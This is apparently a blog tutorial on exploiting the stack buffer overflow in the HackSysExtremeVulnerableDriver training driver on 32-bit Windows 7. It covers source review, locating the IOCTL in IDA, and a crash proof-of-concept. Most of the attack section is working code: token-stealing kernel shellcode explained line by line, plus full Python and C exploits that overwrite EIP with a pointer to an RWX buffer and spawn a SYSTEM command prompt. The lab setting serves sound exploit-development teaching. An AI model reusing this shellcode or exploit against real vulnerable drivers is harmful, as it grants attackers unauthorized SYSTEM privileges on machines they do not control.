After setting up our kernel debugger and debugee using VirtualKD-Redux or kdnet ( you can find many resources online for it ), it's now time to start exploiting different vulnerabilities in our vulnerable driver. This blog is highly motivated by areyou1or0, who created video series and blog for the Windows Kernel Exploitation.

Using OSRLOADER, we can register and start the service.

None

Note: On every restart of the machine, we need to start the vulnerable service using OSRLOADER. Or you can start the service as Auto.

For every vulnerability, we will be following a similar structure:

  1. Source Code Review
  2. Reverse Engineering and Analyzing the driver and finding the IOCTL.
  3. Crafting the initial exploit to trigger the bug.
  4. Token Stealing & Assembly Code Manual Analysis
  5. Final Exploit and Spawning the shell.

1. Source Code Review

Let's look at the source code which is inside the file BufferOverflowStack.c,

#include "BufferOverflowStack.h"

#ifdef ALLOC_PRAGMA
#pragma alloc_text(PAGE, TriggerBufferOverflowStack)
#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)
#endif // ALLOC_PRAGMA


/// <summary>
/// Trigger the buffer overflow in Stack Vulnerability
/// </summary>
/// <param name="UserBuffer">The pointer to user mode buffer</param>
/// <param name="Size">Size of the user mode buffer</param>
/// <returns>NTSTATUS</returns>
__declspec(safebuffers)
NTSTATUS
TriggerBufferOverflowStack(
    _In_ PVOID UserBuffer,
    _In_ SIZE_T Size
)
{
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = { 0 };

    PAGED_CODE();

    __try
    {
        //
        // Verify if the buffer resides in user mode
        //

        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%zX\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%zX\n", sizeof(KernelBuffer));

#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
        // there will be no overflow
        //

        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
        DbgPrint("[+] Triggering Buffer Overflow in Stack\n");

        //
        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
        // because the developer is passing the user supplied size directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of KernelBuffer
        //

        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}


/// <summary>
/// Buffer Overflow Stack Ioctl Handler
/// </summary>
/// <param name="Irp">The pointer to IRP</param>
/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
BufferOverflowStackIoctlHandler(
    _In_ PIRP Irp,
    _In_ PIO_STACK_LOCATION IrpSp
)
{
    SIZE_T Size = 0;
    PVOID UserBuffer = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    UNREFERENCED_PARAMETER(Irp);
    PAGED_CODE();

    UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
    Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;

    if (UserBuffer)
    {
        Status = TriggerBufferOverflowStack(UserBuffer, Size);
    }

    return Status;
}

In the above code we can see, 2 implementations of RtlCopyMemeory():

  • Secure — Where the size of the size validation has been done equal to the size of the KernelBuffer.
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
  • Vulnerable — In the vulnerable implementation the size validation is not done, it is a vanilla stack based buffer overflow because the developer is passing the user supplied size directly to the RtlCopyMemory function.
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

If the correct IOCT code is used, the BufferOverflowStackIoctlHandler function will be called, which takes the UserBuffer & the Size. Later on these 2 parameters are directly passed to the TriggerBufferOverflowStack function, which leads to the vulnerable RtlCopyMemory() and hence leading to vanilla stack buffer overflow.

To interact with the driver we will use 2 Windows APIs :

  • CreateFileA() : Creates or opens a file or I/O device. We'll use this to create a handle to an I/O device ( our driver ).
HANDLE CreateFileA(
  [in]           LPCSTR                lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile
);
  • DeviceIoControl(): Sends a control code directly to a specified device driver, causing the corresponding device to perform the corresponding operation. The handle returned by CreateFileA() will be passed to this function as the first parameter and we'll access the kernel mode access.
BOOL DeviceIoControl(
  [in]                HANDLE       hDevice,
  [in]                DWORD        dwIoControlCode,
  [in, optional]      LPVOID       lpInBuffer,
  [in]                DWORD        nInBufferSize,
  [out, optional]     LPVOID       lpOutBuffer,
  [in]                DWORD        nOutBufferSize,
  [out, optional]     LPDWORD      lpBytesReturned,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);

2. Reverse engineering, analyzing the driver and finding the IOCTL.

After loading the vulnerable driver, we will have a look at the IrpDeviceIoCtlHandler() function, which is responsible for handling IRP requests with IOCTLS.

None

In the above graph figure of the IrpDeviceIoCtlHandler() function we can observe multiple branches, those are the different switch cases based on the IOCTL. Let us find the BufferOverflowStackIoctlHandler().

On IDA Free we don't have the feature of looking at the Pseudocode which makes the analysis comparatively easier. Either ways we can find the BufferOverflowStackIoctlHandler() function.

None

In the above figure we can see for IOCTL — 0x222003 will trigger our BufferOverflowStackIoctlHandler().

None

So, to trigger our vulnerable code we are required to send a value of 0x222003 as our IOCTL to trigger the vulnerable stack overflow code.

None

We can see that the size of the KernelBuffer is 2048 bytes ( 512 * 4 (size of unsigned int)). So, anything above 2048 bytes will cause a buffer overflow, leading to Blue Screen of Death (BSOD).

3. Crafting the initial exploit to trigger the bug

So, to trigger the vulnerable code we need to get the handle of our driver, and pass payload to the vulnerable function using proper IOCTL. We'll use python to develop our exploit.

The structure of our exploit will be:

  • Imports for python
  • Handle creation using CreateFileA() Function
  • Exception handling — If we cannot get the IOCTL Handle
  • Buffer & Shellcode Definition
  • DeviceIoControl() with the correct IOCTL and the handle

To get the handle we require handle name, which can be observed during the reverse engineering of our driver inside the DriverEntry().

None

Our initial exploit,

import struct, sys, os
from ctypes import *

kernel32 = windll.kernel32
handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not handle or handle == -1:
 print "Failed to get device handle."
 sys.exit(0)
 
buffer = "\x41" * 2080
buffer += "\x42" * 4
buffer += "\x43" * (3000 - len(buffer))

kernel32.DeviceIoControl(handle, 0x222003, buffer, len(buffer), None, 0, byref(c_ulong()), None)

Now, let's observe using WinDbg if our exploit works and overwrite the EIP or not.

Running our exploit, we get a crash!

None

Continuing the execution on Windbg, we can see our target machine crashing and going into BSOD state.

None

4. Token Stealing Shellcode & Assembly Code Manual Analysis

Now, for further escalating our privileges from User to SYSTEM, we will use the token stealing shellcode provided by the Hacksys Team.

Let's understand this part in deep, breaking down into different sub-sections:

  1. What is Shellcode?
  2. What is the Goal?
  3. Step-By-Step Explanation

1. What is Shellcode?

Shellcode is a small piece of code typically written in assembly language used as the payload in the exploitation part.

2. What is the Goal?

The goal here is to escalate our privileges to the highest level on our target Windows system, which is "NT AUTHORITY\SYSTEM" allowing us to perform any action on the system.

To achieve this, we will use the token stealing shellcode provided by the Hacksys team, which copies a token ( a security identifies that Windows uses to manage user permissions) from a SYSTEM process to our own process ( cmd.exe ).

3. Step-by-Step Explanation

Firstly, we need to save the state of all the general-purpose registers. This is done so that the state can be restored later and avoid crashing the system. We will learn how the shellcode manipulates Windows internals to elevate privileges.

pushad ;Saving State of all General-Purpose registers

Zero out the eax register, this register is oftenly used to store data temporarily.

xor eax,eax ;Zero out eax register

Now, we need to access the Thread Information Block (TIB), which is a data structure in Windows that contains information about the currently running thread. The TIB can be accessed as an offset of segment register FS. FS is the data selector to TIB for the first thread.

At an offset of 0x124 to the FS segment register we get the address of "_KTHREAD" structure.

None
mov eax, fs:[eax + 0x124] ;Get the current thread

To get the Current Process from the "_EPROCESS", we add 0x50 (EPROCESS_OFFSET) to the Address of "_KTHREAD" structure. The "_EPROCESS" structure contains information about the process.

mov eax, [eax + 0x50] 

Save the current process address into ecx register for later use.

mov ecx, eax

Here, 0x4 is the process ID (PID) for the SYSTEM process in Windows 7.

mov edx, 0x4 ;System PID stored in edx

Now, we have to search for the System Process. For this the loop iterates through the linked list of active processes. In the _EPROCESS structure at offset 0xb8 we have the ActiveProcessLinks structure and at the 0xb4 offset we have the UniqueProcessId. This can be refered from the Vergilius Project.

None
None
SearchSystemPID:
 mov eax, [eax + 0xb8] ;Follows the linked list
 sub eax, 0xb8 ;Adjusts the pointer
 cmp [eax + 0xb4], edx ; edx = 0x4 | Checks if the current process is the SYSTEM process
 jne SearchSystemPID ;If not, it continues the search

Once the SYSTEM process is found, we need to copy it and assign the SYSTEM token to our process. At 0xf8 offset we have the Token.

None
mov edx, [eax + 0xf8] ;Copies the token into edx
mov [ecx + 0xf8], edx ;Assigns the system token to our process

Now, since the token stealing is completed we need to restore the registers to their original state and return from the function, cleaning up the stack.

popad
pop ebp ;Restore the base pointer
ret 0x8 ;Return and clear the next 8 bytes

Due to Data Execution Prevention (DEP), the stack area is not executable. So to bypass DEP we will use VirtualAlloc to allocate a memory region with RWX (Read-Write-Executable) and copy our shellcode to the newly allocated RWX region.

Note: We are not considering SMEP/SMAP as it was available after Windows 7. So, no need to worry about this now.

5. Final Exploit and Spawning the shell

import struct, sys, os, subprocess
from ctypes import *

kernel32 = windll.kernel32
handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not handle or handle == -1:
 print "Failed to get device handle."
 sys.exit(0)
 
payload = ""
payload += bytearray(
  "\x60"                            # pushad
    "\x31\xc0"                        # xor eax,eax
    "\x64\x8b\x80\x24\x01\x00\x00"    # mov eax,[fs:eax+0x124]
    "\x8b\x40\x50"                    # mov eax,[eax+0x50]
    "\x89\xc1"                        # mov ecx,eax
    "\xba\x04\x00\x00\x00"            # mov edx,0x4
    "\x8b\x80\xb8\x00\x00\x00"        # mov eax,[eax+0xb8]
    "\x2d\xb8\x00\x00\x00"            # sub eax,0xb8
    "\x39\x90\xb4\x00\x00\x00"        # cmp [eax+0xb4],edx
    "\x75\xed"                        # jnz 0x1a
    "\x8b\x90\xf8\x00\x00\x00"        # mov edx,[eax+0xf8]
    "\x89\x91\xf8\x00\x00\x00"        # mov [ecx+0xf8],edx
    "\x61"                            # popad
    "\x5d"                            # pop ebp
    "\xc2\x08\x00"                    # ret 0x8
)

#Allocating RWX region for shellcode using VirtualAlloc
pointer = kernel32.VirtualAlloc(c_int(0),c_int(len(payload)),c_int(0x3000),c_int(0x40))
buf = (c_char * len(payload)).from_buffer(payload)

#Copy Shellcode to the newly allocated RWX region
kernel32.RtlMoveMemory(c_int(pointer),buf,c_int(len(payload)))
shellcode = struct.pack("<L",pointer)

#Overwriting EIP
buffer = "\x41" * 2080 + shellcode

kernel32.DeviceIoControl(handle, 0x222003, buffer, len(buffer), None, 0, byref(c_ulong()), None)

# Open a new command prompt
subprocess.Popen("start cmd", shell= True)

After running the exploit, we can successfully perform privilege escalation from User to Nt Authority\System.

None

For someone who wants to write the exploit in C/C++, here is the reference —

/*
Exploiting Windows 7 HEVD x85
Vulnerability - Stack Overflow
*/
#include <Windows.h>
#include <stdio.h>

unsigned char shellcode[] = {
  0x60,                           // pushal
  0x31, 0xc0,                     // xor eax, eax
  0x64, 0x8b, 0x80, 0x24, 0x01, 0x00, 0x00,  // mov eax, dword ptr fs:[eax + 0x124]
  0x8b, 0x40, 0x50,               // mov eax, dword ptr [eax + 0x50]
  0x89, 0xc1,                     // mov ecx, eax
  0xba, 0x04, 0x00, 0x00, 0x00,   // mov edx, 4
  0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00,  // mov eax, dword ptr [eax + 0xb8]
  0x2d, 0xb8, 0x00, 0x00, 0x00,   // sub eax, 0xb8
  0x39, 0x90, 0xb4, 0x00, 0x00, 0x00,  // cmp dword ptr [eax + 0xb4], edx
  0x75, 0xed,                     // jne 0x1014
  0x8b, 0x90, 0xf8, 0x00, 0x00, 0x00,  // mov edx, dword ptr [eax + 0xf8]
  0x89, 0x91, 0xf8, 0x00, 0x00, 0x00,  // mov dword ptr [ecx + 0xf8], edx
  0x61,                           // popal
  0x5D,                           // pop ebp
  0xC2, 0x08, 0x00                // ret 0x8
};

DWORD shellcode_len = sizeof(shellcode);

int main() {

 // Getting Handle To The Driver
 /*
 HANDLE CreateFileA(
  [in]           LPCSTR                lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile
);
 */
 HANDLE hDriver = CreateFileA(
  "\\\\.\\HackSysExtremeVulnerableDriver",
  GENERIC_READ | GENERIC_WRITE,
  0x00,
  NULL,
  OPEN_EXISTING,
  FILE_ATTRIBUTE_NORMAL,
  NULL
 );
 // Identifying The IOCTL For BO
 // 0x222003u
 // METHOD_NEITHER
 // Buffer Size Of Kernel Buffer - 512d or 200h / 0x800 or 2048d
 // Setting Up The Buffer
 char buffer[2100];
 //memset(buffer, 'A', sizeof(buffer));
 LPVOID ptrShellcode = VirtualAlloc(
  NULL,
  shellcode_len,
  MEM_COMMIT | MEM_RESERVE,
  PAGE_EXECUTE_READWRITE
 );
 memcpy(ptrShellcode, shellcode, shellcode_len);

 memset(buffer, 'A', 2080);
 memcpy(buffer + 2080, &ptrShellcode, sizeof(DWORD));

 // Sending The Buffer
 DeviceIoControl(
  hDriver,
  0x222003,
  &buffer,
  sizeof(buffer),
  NULL,
  NULL,
  NULL,
  NULL
 );

 system("cmd.exe");

 return 0;
}